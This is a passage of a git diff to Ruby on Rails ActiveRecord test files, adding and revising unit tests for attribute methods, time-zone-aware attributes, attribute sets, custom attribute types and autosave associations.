@@ -663,7 +657,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_setting_time_zone_aware_attribute_in_current_time_zone
+  def test_setting_time_zone_aware_datetime_in_current_time_zone
     utc_time = Time.utc(2008, 1, 1)
     in_time_zone "Pacific Time (US & Canada)" do
       record   = @target.new
@@ -674,6 +668,55 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_yaml_dumping_record_with_time_zone_aware_attribute
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = Topic.new(id: 1)
+      record.written_on = "Jan 01 00:00:00 2014"
+      assert_equal record, YAML.load(YAML.dump(record))
+    end
+  end
+
+  def test_setting_time_zone_aware_time_in_current_time_zone
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      time_string = "10:00:00"
+      expected_time = Time.zone.parse("2000-01-01 #{time_string}")
+
+      record.bonus_time = time_string
+      assert_equal expected_time, record.bonus_time
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.bonus_time.time_zone
+
+      record.bonus_time = ''
+      assert_nil record.bonus_time
+    end
+  end
+
+  def test_setting_time_zone_aware_time_with_dst
+    in_time_zone "Pacific Time (US & Canada)" do
+      current_time = Time.zone.local(2014, 06, 15, 10)
+      record = @target.new(bonus_time: current_time)
+      time_before_save = record.bonus_time
+
+      record.save
+      record.reload
+
+      assert_equal time_before_save, record.bonus_time
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.bonus_time.time_zone
+    end
+  end
+
+  def test_removing_time_zone_aware_types
+    with_time_zone_aware_types(:datetime) do
+      in_time_zone "Pacific Time (US & Canada)" do
+        record = @target.new(bonus_time: "10:00:00")
+        expected_time = Time.utc(2000, 01, 01, 10)
+
+        assert_equal expected_time, record.bonus_time
+        assert record.bonus_time.utc?
+      end
+    end
+  end
+
   def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable
     Topic.skip_time_zone_conversion_for_attributes = [:field_a]
     Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
@@ -715,32 +758,53 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   def test_bulk_update_respects_access_control
     privatize("title=(value)")
 
-    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new(:title => "Rants about pants") }
-    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
+    assert_raise(ActiveModel::AttributeAssignment::UnknownAttributeError) { @target.new(:title => "Rants about pants") }
+    assert_raise(ActiveModel::AttributeAssignment::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
   end
 
-  def test_bulk_update_raise_unknown_attribute_errro
-    error = assert_raises(ActiveRecord::UnknownAttributeError) {
-      @target.new(:hello => "world")
+  def test_bulk_update_raise_unknown_attribute_error
+    error = assert_raises(ActiveModel::AttributeAssignment::UnknownAttributeError) {
+      Topic.new(hello: "world")
     }
-    assert @target, error.record
-    assert "hello", error.attribute
-    assert "unknown attribute: hello", error.message
+    assert_instance_of Topic, error.record
+    assert_equal "hello", error.attribute
+    assert_equal "unknown attribute 'hello' for Topic.", error.message
   end
 
-  def test_read_attribute_overwrites_private_method_not_considered_implemented
-    # simulate a model with a db column that shares its name an inherited
-    # private method (e.g. Object#system)
-    #
-    Object.class_eval do
-      private
-      def title; "private!"; end
+  def test_methods_override_in_multi_level_subclass
+    klass = Class.new(Developer) do
+      def name
+        "dev:#{read_attribute(:name)}"
+      end
     end
-    assert !@target.instance_method_already_implemented?(:title)
-    topic = @target.new
-    assert_nil topic.title
 
-    Object.send(:undef_method, :title) # remove test method from object
+    2.times { klass = Class.new klass }
+    dev = klass.new(name: 'arthurnn')
+    dev.save!
+    assert_equal 'dev:arthurnn', dev.reload.name
+  end
+
+  def test_global_methods_are_overwritten
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'computers'
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    computer = klass.new
+    assert_nil computer.system
+  end
+
+  def test_global_methods_are_overwritte_when_subclassing
+    klass = Class.new(ActiveRecord::Base) { self.abstract_class = true }
+
+    subklass = Class.new(klass) do
+      self.table_name = 'computers'
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    assert !subklass.instance_method_already_implemented?(:system)
+    computer = subklass.new
+    assert_nil computer.system
   end
 
   def test_instance_method_should_be_defined_on_the_base_class
@@ -767,8 +831,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   # that by defining a 'foo' method in the generated methods module for B.
   # (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
   def test_inherited_custom_accessors
-    klass = Class.new(ActiveRecord::Base) do
-      self.table_name = "topics"
+    klass = new_topic_like_ar_class do
       self.abstract_class = true
       def title; "omg"; end
       def title=(val); self.author_name = val; end
@@ -783,10 +846,129 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_equal "lol", topic.author_name
   end
 
+  def test_inherited_custom_accessors_with_reserved_names
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'computers'
+      self.abstract_class = true
+      def system; "omg"; end
+      def system=(val); self.developer = val; end
+    end
+
+    subklass = Class.new(klass)
+    [klass, subklass].each(&:define_attribute_methods)
+
+    computer = subklass.find(1)
+    assert_equal "omg", computer.system
+
+    computer.developer = 99
+    assert_equal 99, computer.developer
+  end
+
+  def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+    klass = new_topic_like_ar_class do
+      def title
+        super + '!'
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+  end
+
+  def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+    klass = new_topic_like_ar_class do
+      def title?
+        !super
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+  end
+
+  def test_calling_super_when_parent_does_not_define_method_raises_error
+    klass = new_topic_like_ar_class do
+      def some_method_that_is_not_on_super
+        super
+      end
+    end
+
+    assert_raise(NoMethodError) do
+      klass.new.some_method_that_is_not_on_super
+    end
+  end
+
+  def test_attribute_method?
+    assert @target.attribute_method?(:title)
+    assert @target.attribute_method?(:title=)
+    assert_not @target.attribute_method?(:wibble)
+  end
+
+  def test_attribute_method_returns_false_if_table_does_not_exist
+    @target.table_name = 'wibble'
+    assert_not @target.attribute_method?(:title)
+  end
+
+  def test_attribute_names_on_new_record
+    model = @target.new
+
+    assert_equal @target.column_names, model.attribute_names
+  end
+
+  def test_attribute_names_on_queried_record
+    model = @target.last!
+
+    assert_equal @target.column_names, model.attribute_names
+  end
+
+  def test_attribute_names_with_custom_select
+    model = @target.select('id').last!
+
+    assert_equal ['id'], model.attribute_names
+    # Sanity check, make sure other columns exist
+    assert_not_equal ['id'], @target.column_names
+  end
+
+  def test_came_from_user
+    model = @target.first
+
+    assert_not model.id_came_from_user?
+    model.id = "omg"
+    assert model.id_came_from_user?
+  end
+
+  def test_accessed_fields
+    model = @target.first
+
+    assert_equal [], model.accessed_fields
+
+    model.title
+
+    assert_equal ["title"], model.accessed_fields
+  end
+
   private
 
+  def new_topic_like_ar_class(&block)
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'topics'
+      class_eval(&block)
+    end
+
+    assert_empty klass.generated_attribute_methods.instance_methods(false)
+    klass
+  end
+
+  def with_time_zone_aware_types(*types)
+    old_types = ActiveRecord::Base.time_zone_aware_types
+    ActiveRecord::Base.time_zone_aware_types = types
+    yield
+  ensure
+    ActiveRecord::Base.time_zone_aware_types = old_types
+  end
+
   def cached_columns
-    Topic.columns.map(&:name) - Topic.serialized_attributes.keys
+    Topic.columns.map(&:name)
   end
 
   def time_related_columns_on_topic
diff --git a/activerecord/test/cases/attribute_set_test.rb b/activerecord/test/cases/attribute_set_test.rb
new file mode 100644
index 0000000000..112cd2fb14
--- /dev/null
+++ b/activerecord/test/cases/attribute_set_test.rb
@@ -0,0 +1,211 @@
+require 'cases/helper'
+
+module ActiveRecord
+  class AttributeSetTest < ActiveRecord::TestCase
+    test "building a new set from raw attributes" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2.2, attributes[:bar].value
+      assert_equal :foo, attributes[:foo].name
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "building with custom types" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database({ foo: '3.3', bar: '4.4' }, { bar: Type::Integer.new })
+
+      assert_equal 3.3, attributes[:foo].value
+      assert_equal 4, attributes[:bar].value
+    end
+
+    test "[] returns a null object" do
+      builder = AttributeSet::Builder.new(foo: Type::Float.new)
+      attributes = builder.build_from_database(foo: '3.3')
+
+      assert_equal '3.3', attributes[:foo].value_before_type_cast
+      assert_equal nil, attributes[:bar].value_before_type_cast
+      assert_equal :bar, attributes[:bar].name
+    end
+
+    test "duping creates a new hash and dups each attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+      attributes = builder.build_from_database(foo: 1, bar: 'foo')
+
+      # Ensure the type cast value is cached
+      attributes[:foo].value
+      attributes[:bar].value
+
+      duped = attributes.dup
+      duped.write_from_database(:foo, 2)
+      duped[:bar].value << 'bar'
+
+      assert_equal 1, attributes[:foo].value
+      assert_equal 2, duped[:foo].value
+      assert_equal 'foo', attributes[:bar].value
+      assert_equal 'foobar', duped[:bar].value
+    end
+
+    test "freezing cloned set does not freeze original" do
+      attributes = AttributeSet.new({})
+      clone = attributes.clone
+
+      clone.freeze
+
+      assert clone.frozen?
+      assert_not attributes.frozen?
+    end
+
+    test "to_hash returns a hash of the type cast values" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_hash)
+      assert_equal({ foo: 1, bar: 2.2 }, attributes.to_h)
+    end
+
+    test "to_hash maintains order" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: '2.2', bar: '3.3')
+
+      attributes[:bar]
+      hash = attributes.to_h
+
+      assert_equal [[:foo, 2], [:bar, 3.3]], hash.to_a
+    end
+
+    test "values_before_type_cast" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+      attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+      assert_equal({ foo: '1.1', bar: '2.2' }, attributes.values_before_type_cast)
+    end
+
+    test "known columns are built with uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert attributes[:foo].initialized?
+      assert_not attributes[:bar].initialized?
+    end
+
+    test "uninitialized attributes are not included in the attributes hash" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal({ foo: 1 }, attributes.to_hash)
+    end
+
+    test "uninitialized attributes are not included in keys" do
+      attributes = attributes_with_uninitialized_key
+      assert_equal [:foo], attributes.keys
+    end
+
+    test "uninitialized attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert attributes.key?(:foo)
+      assert_not attributes.key?(:bar)
+    end
+
+    test "unknown attributes return false for key?" do
+      attributes = attributes_with_uninitialized_key
+      assert_not attributes.key?(:wibble)
+    end
+
+    test "fetch_value returns the value for the given initialized attribute" do
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+      assert_equal 1, attributes.fetch_value(:foo)
+      assert_equal 2.2, attributes.fetch_value(:bar)
+    end
+
+    test "fetch_value returns nil for unknown attributes" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value returns nil for unknown attributes when types has a default" do
+      types = Hash.new(Type::Value.new)
+      builder = AttributeSet::Builder.new(types)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:wibble) { "hello" }
+    end
+
+    test "fetch_value uses the given block for uninitialized attributes" do
+      attributes = attributes_with_uninitialized_key
+      value = attributes.fetch_value(:bar) { |n| n.to_s + '!' }
+      assert_equal 'bar!', value
+    end
+
+    test "fetch_value returns nil for uninitialized attributes if no block is given" do
+      attributes = attributes_with_uninitialized_key
+      assert_nil attributes.fetch_value(:bar)
+    end
+
+    test "the primary_key is always initialized" do
+      builder = AttributeSet::Builder.new({ foo: Type::Integer.new }, :foo)
+      attributes = builder.build_from_database
+
+      assert attributes.key?(:foo)
+      assert_equal [:foo], attributes.keys
+      assert attributes[:foo].initialized?
+    end
+
+    class MyType
+      def type_cast_from_user(value)
+        return if value.nil?
+        value + " from user"
+      end
+
+      def type_cast_from_database(value)
+        return if value.nil?
+        value + " from database"
+      end
+    end
+
+    test "write_from_database sets the attribute with database typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_database(:foo, "value")
+
+      assert_equal "value from database", attributes.fetch_value(:foo)
+    end
+
+    test "write_from_user sets the attribute with user typecasting" do
+      builder = AttributeSet::Builder.new(foo: MyType.new)
+      attributes = builder.build_from_database
+
+      assert_nil attributes.fetch_value(:foo)
+
+      attributes.write_from_user(:foo, "value")
+
+      assert_equal "value from user", attributes.fetch_value(:foo)
+    end
+
+    def attributes_with_uninitialized_key
+      builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+      builder.build_from_database(foo: '1.1')
+    end
+
+    test "freezing doesn't prevent the set from materializing" do
+      builder = AttributeSet::Builder.new(foo: Type::String.new)
+      attributes = builder.build_from_database(foo: "1")
+
+      attributes.freeze
+      assert_equal({ foo: "1" }, attributes.to_hash)
+    end
+
+    test "#accessed_attributes returns only attributes which have been read" do
+      builder = AttributeSet::Builder.new(foo: Type::Value.new, bar: Type::Value.new)
+      attributes = builder.build_from_database(foo: "1", bar: "2")
+
+      assert_equal [], attributes.accessed
+
+      attributes.fetch_value(:foo)
+
+      assert_equal [:foo], attributes.accessed
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_test.rb b/activerecord/test/cases/attribute_test.rb
new file mode 100644
index 0000000000..eac73e11e8
--- /dev/null
+++ b/activerecord/test/cases/attribute_test.rb
@@ -0,0 +1,192 @@
+require 'cases/helper'
+require 'minitest/mock'
+
+module ActiveRecord
+  class AttributeTest < ActiveRecord::TestCase
+    setup do
+      @type = Minitest::Mock.new
+      @type.expect(:==, false, [false])
+    end
+
+    teardown do
+      assert @type.verify
+    end
+
+    test "from_database + read type casts from database" do
+      @type.expect(:type_cast_from_database, 'type cast from database', ['a value'])
+      attribute = Attribute.from_database(nil, 'a value', @type)
+
+      type_cast_value = attribute.value
+
+      assert_equal 'type cast from database', type_cast_value
+    end
+
+    test "from_user + read type casts from user" do
+      @type.expect(:type_cast_from_user, 'type cast from user', ['a value'])
+      attribute = Attribute.from_user(nil, 'a value', @type)
+
+      type_cast_value = attribute.value
+
+      assert_equal 'type cast from user', type_cast_value
+    end
+
+    test "reading memoizes the value" do
+      @type.expect(:type_cast_from_database, 'from the database', ['whatever'])
+      attribute = Attribute.from_database(nil, 'whatever', @type)
+
+      type_cast_value = attribute.value
+      second_read = attribute.value
+
+      assert_equal 'from the database', type_cast_value
+      assert_same type_cast_value, second_read
+    end
+
+    test "reading memoizes falsy values" do
+      @type.expect(:type_cast_from_database, false, ['whatever'])
+      attribute = Attribute.from_database(nil, 'whatever', @type)
+
+      attribute.value
+      attribute.value
+    end
+
+    test "read_before_typecast returns the given value" do
+      attribute = Attribute.from_database(nil, 'raw value', @type)
+
+      raw_value = attribute.value_before_type_cast
+
+      assert_equal 'raw value', raw_value
+    end
+
+    test "from_database + read_for_database type casts to and from database" do
+      @type.expect(:type_cast_from_database, 'read from database', ['whatever'])
+      @type.expect(:type_cast_for_database, 'ready for database', ['read from database'])
+      attribute = Attribute.from_database(nil, 'whatever', @type)
+
+      type_cast_for_database = attribute.value_for_database
+
+      assert_equal 'ready for database', type_cast_for_database
+    end
+
+    test "from_user + read_for_database type casts from the user to the database" do
+      @type.expect(:type_cast_from_user, 'read from user', ['whatever'])
+      @type.expect(:type_cast_for_database, 'ready for database', ['read from user'])
+      attribute = Attribute.from_user(nil, 'whatever', @type)
+
+      type_cast_for_database = attribute.value_for_database
+
+      assert_equal 'ready for database', type_cast_for_database
+    end
+
+    test "duping dups the value" do
+      @type.expect(:type_cast_from_database, 'type cast', ['a value'])
+      attribute = Attribute.from_database(nil, 'a value', @type)
+
+      value_from_orig = attribute.value
+      value_from_clone = attribute.dup.value
+      value_from_orig << ' foo'
+
+      assert_equal 'type cast foo', value_from_orig
+      assert_equal 'type cast', value_from_clone
+    end
+
+    test "duping does not dup the value if it is not dupable" do
+      @type.expect(:type_cast_from_database, false, ['a value'])
+      attribute = Attribute.from_database(nil, 'a value', @type)
+
+      assert_same attribute.value, attribute.dup.value
+    end
+
+    test "duping does not eagerly type cast if we have not yet type cast" do
+      attribute = Attribute.from_database(nil, 'a value', @type)
+      attribute.dup
+    end
+
+    class MyType
+      def type_cast_from_user(value)
+        value + " from user"
+      end
+
+      def type_cast_from_database(value)
+        value + " from database"
+      end
+    end
+
+    test "with_value_from_user returns a new attribute with the value from the user" do
+      old = Attribute.from_database(nil, "old", MyType.new)
+      new = old.with_value_from_user("new")
+
+      assert_equal "old from database", old.value
+      assert_equal "new from user", new.value
+    end
+
+    test "with_value_from_database returns a new attribute with the value from the database" do
+      old = Attribute.from_user(nil, "old", MyType.new)
+      new = old.with_value_from_database("new")
+
+      assert_equal "old from user", old.value
+      assert_equal "new from database", new.value
+    end
+
+    test "uninitialized attributes yield their name if a block is given to value" do
+      block = proc { |name| name.to_s + "!" }
+      foo = Attribute.uninitialized(:foo, nil)
+      bar = Attribute.uninitialized(:bar, nil)
+
+      assert_equal "foo!", foo.value(&block)
+      assert_equal "bar!", bar.value(&block)
+    end
+
+    test "uninitialized attributes have no value" do
+      assert_nil Attribute.uninitialized(:foo, nil).value
+    end
+
+    test "attributes equal other attributes with the same constructor arguments" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Integer.new)
+      assert_equal first, second
+    end
+
+    test "attributes do not equal attributes with different names" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:bar, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different types" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 1, Type::Float.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes with different values" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_database(:foo, 2, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "attributes do not equal attributes of other classes" do
+      first = Attribute.from_database(:foo, 1, Type::Integer.new)
+      second = Attribute.from_user(:foo, 1, Type::Integer.new)
+      assert_not_equal first, second
+    end
+
+    test "an attribute has not been read by default" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      assert_not attribute.has_been_read?
+    end
+
+    test "an attribute has been read when its value is calculated" do
+      attribute = Attribute.from_database(:foo, 1, Type::Value.new)
+      attribute.value
+      assert attribute.has_been_read?
+    end
+
+    test "an attribute can not be mutated if it has not been read,
+      and skips expensive calculations" do
+      type_which_raises_from_all_methods = Object.new
+      attribute = Attribute.from_database(:foo, "bar", type_which_raises_from_all_methods)
+
+      assert_not attribute.changed_in_place_from?("bar")
+    end
+  end
+end
diff --git a/activerecord/test/cases/attributes_test.rb b/activerecord/test/cases/attributes_test.rb
new file mode 100644
index 0000000000..a753e8b74e
--- /dev/null
+++ b/activerecord/test/cases/attributes_test.rb
@@ -0,0 +1,160 @@
+require 'cases/helper'
+
+class OverloadedType < ActiveRecord::Base
+  attribute :overloaded_float, :integer
+  attribute :overloaded_string_with_limit, :string, limit: 50
+  attribute :non_existent_decimal, :decimal
+  attribute :string_with_default, :string, default: 'the overloaded default'
+end
+
+class ChildOfOverloadedType < OverloadedType
+end
+
+class GrandchildOfOverloadedType < ChildOfOverloadedType
+  attribute :overloaded_float, :float
+end
+
+class UnoverloadedType < ActiveRecord::Base
+  self.table_name = 'overloaded_types'
+end
+
+module ActiveRecord
+  class CustomPropertiesTest < ActiveRecord::TestCase
+    test "overloading types" do
+      data = OverloadedType.new
+
+      data.overloaded_float = "1.1"
+      data.unoverloaded_float = "1.1"
+
+      assert_equal 1, data.overloaded_float
+      assert_equal 1.1, data.unoverloaded_float
+    end
+
+    test "overloaded properties save" do
+      data = OverloadedType.new
+
+      data.overloaded_float = "2.2"
+      data.save!
+      data.reload
+
+      assert_equal 2, data.overloaded_float
+      assert_kind_of Fixnum, OverloadedType.last.overloaded_float
+      assert_equal 2.0, UnoverloadedType.last.overloaded_float
+      assert_kind_of Float, UnoverloadedType.last.overloaded_float
+    end
+
+    test "properties assigned in constructor" do
+      data = OverloadedType.new(overloaded_float: '3.3')
+
+      assert_equal 3, data.overloaded_float
+    end
+
+    test "overloaded properties with limit" do
+      assert_equal 50, OverloadedType.type_for_attribute('overloaded_string_with_limit').limit
+      assert_equal 255, UnoverloadedType.type_for_attribute('overloaded_string_with_limit').limit
+    end
+
+    test "nonexistent attribute" do
+      data = OverloadedType.new(non_existent_decimal: 1)
+
+      assert_equal BigDecimal.new(1), data.non_existent_decimal
+      assert_raise ActiveModel::AttributeAssignment::UnknownAttributeError do
+        UnoverloadedType.new(non_existent_decimal: 1)
+      end
+    end
+
+    test "changing defaults" do
+      data = OverloadedType.new
+      unoverloaded_data = UnoverloadedType.new
+
+      assert_equal 'the overloaded default', data.string_with_default
+      assert_equal 'the original default', unoverloaded_data.string_with_default
+    end
+
+    test "defaults are not touched on the columns" do
+      assert_equal 'the original default', OverloadedType.columns_hash['string_with_default'].default
+    end
+
+    test "children inherit custom properties" do
+      data = ChildOfOverloadedType.new(overloaded_float: '4.4')
+
+      assert_equal 4, data.overloaded_float
+    end
+
+    test "children can override parents" do
+      data = GrandchildOfOverloadedType.new(overloaded_float: '4.4')
+
+      assert_equal 4.4, data.overloaded_float
+    end
+
+    test "overloading properties does not attribute method order" do
+      attribute_names = OverloadedType.attribute_names
+      assert_equal %w(id overloaded_float unoverloaded_float overloaded_string_with_limit string_with_default non_existent_decimal), attribute_names
+    end
+
+    test "caches are cleared" do
+      klass = Class.new(OverloadedType)
+
+      assert_equal 6, klass.attribute_types.length
+      assert_equal 6, klass.column_defaults.length
+      assert_not klass.attribute_types.include?('wibble')
+
+      klass.attribute :wibble, Type::Value.new
+
+      assert_equal 7, klass.attribute_types.length
+      assert_equal 7, klass.column_defaults.length
+      assert klass.attribute_types.include?('wibble')
+    end
+
+    test "the given default value is cast from user" do
+      custom_type = Class.new(Type::Value) do
+        def type_cast_from_user(*)
+          "from user"
+        end
+
+        def type_cast_from_database(*)
+          "from database"
+        end
+      end
+
+      klass = Class.new(OverloadedType) do
+        attribute :wibble, custom_type.new, default: "default"
+      end
+      model = klass.new
+
+      assert_equal "from user", model.wibble
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      test "arrays types can be specified" do
+        klass = Class.new(OverloadedType) do
+          attribute :my_array, :string, limit: 50, array: true
+          attribute :my_int_array, :integer, array: true
+        end
+
+        string_array = ConnectionAdapters::PostgreSQL::OID::Array.new(
+          Type::String.new(limit: 50))
+        int_array = ConnectionAdapters::PostgreSQL::OID::Array.new(
+          Type::Integer.new)
+        refute_equal string_array, int_array
+        assert_equal string_array, klass.type_for_attribute("my_array")
+        assert_equal int_array, klass.type_for_attribute("my_int_array")
+      end
+
+      test "range types can be specified" do
+        klass = Class.new(OverloadedType) do
+          attribute :my_range, :string, limit: 50, range: true
+          attribute :my_int_range, :integer, range: true
+        end
+
+        string_range = ConnectionAdapters::PostgreSQL::OID::Range.new(
+          Type::String.new(limit: 50))
+        int_range = ConnectionAdapters::PostgreSQL::OID::Range.new(
+          Type::Integer.new)
+        refute_equal string_range, int_range
+        assert_equal string_range, klass.type_for_attribute("my_range")
+        assert_equal int_range, klass.type_for_attribute("my_int_range")
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 635278abc1..859afc4553 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -1,8 +1,10 @@
 require 'cases/helper'
 require 'models/bird'
+require 'models/comment'
 require 'models/company'
 require 'models/customer'
 require 'models/developer'
+require 'models/computer'
 require 'models/invoice'
 require 'models/line_item'
 require 'models/order'
@@ -17,8 +19,38 @@ require 'models/tag'
 require 'models/tagging'
 require 'models/treasure'
 require 'models/eye'
+require 'models/electron'
+require 'models/molecule'
+require 'models/member'
+require 'models/member_detail'
+require 'models/organization'
 
 class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+  def test_autosave_validation
+    person = Class.new(ActiveRecord::Base) {
+      self.table_name = 'people'
+      validate :should_be_cool, :on => :create
+      def self.name; 'Person'; end
+
+      private
+
+      def should_be_cool
+        unless self.first_name == 'cool'
+          errors.add :first_name, "not cool"
+        end
+      end
+    }
+    reference = Class.new(ActiveRecord::Base) {
+      self.table_name = "references"
+      def self.name; 'Reference'; end
+      belongs_to :person, autosave: true, class: person
+    }
+
+    u = person.create!(first_name: 'cool')
+    u.update_attributes!(first_name: 'nah') # still valid because validation only applies on 'create'
+    assert reference.create!(person: u).persisted?
+  end
+
   def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
     assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
   end
@@ -37,10 +69,6 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
 
   private
 
-  def base
-    ActiveRecord::Base
-  end
-
   def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
     reflection = model.reflect_on_association(association_name)
     assert_no_difference "callbacks_for_model(#{model.name}).length" do
@@ -49,9 +77,9 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
   end
 
   def callbacks_for_model(model)
-    model.instance_variables.grep(/_callbacks$/).map do |ivar|
+    model.instance_variables.grep(/_callbacks$/).flat_map do |ivar|
       model.instance_variable_get(ivar)
-    end.flatten
+    end
   end
 end
 
@@ -343,6 +371,33 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
   end
 end
 
+class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  def test_invalid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: 'electron')
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+    molecule.save
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.persisted?, 'Molecule should not be persisted when its electrons are invalid'
+  end
+
+  def test_valid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: 'electron')
+
+    molecule.electrons = [valid_electron]
+    molecule.save
+
+    assert valid_electron.valid?
+    assert molecule.persisted?
+    assert_equal 1, molecule.electrons.count
+  end
+end
+
 class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
   fixtures :companies, :people
 
@@ -401,7 +456,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
     assert_equal new_client, companies(:first_firm).clients_of_firm.last
     assert !companies(:first_firm).save
     assert !new_client.persisted?
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 2, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_adding_before_save
@@ -449,38 +504,38 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
 
   def test_build_before_save
     company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
     assert !company.clients_of_firm.loaded?
 
     company.name += '-changed'
     assert_queries(2) { assert company.save }
     assert new_client.persisted?
-    assert_equal 2, company.clients_of_firm(true).size
+    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_build_many_before_save
     company = companies(:first_firm)
-    assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+    assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
 
     company.name += '-changed'
     assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
+    assert_equal 4, company.clients_of_firm(true).size
   end
 
   def test_build_via_block_before_save
     company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build {|client| client.name = "Another Client" } }
     assert !company.clients_of_firm.loaded?
 
     company.name += '-changed'
     assert_queries(2) { assert company.save }
     assert new_client.persisted?
-    assert_equal 2, company.clients_of_firm(true).size
+    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_build_many_via_block_before_save
     company = companies(:first_firm)
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
         client.name = "changed"
       end
@@ -488,7 +543,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
 
     company.name += '-changed'
     assert_queries(3) { assert company.save }
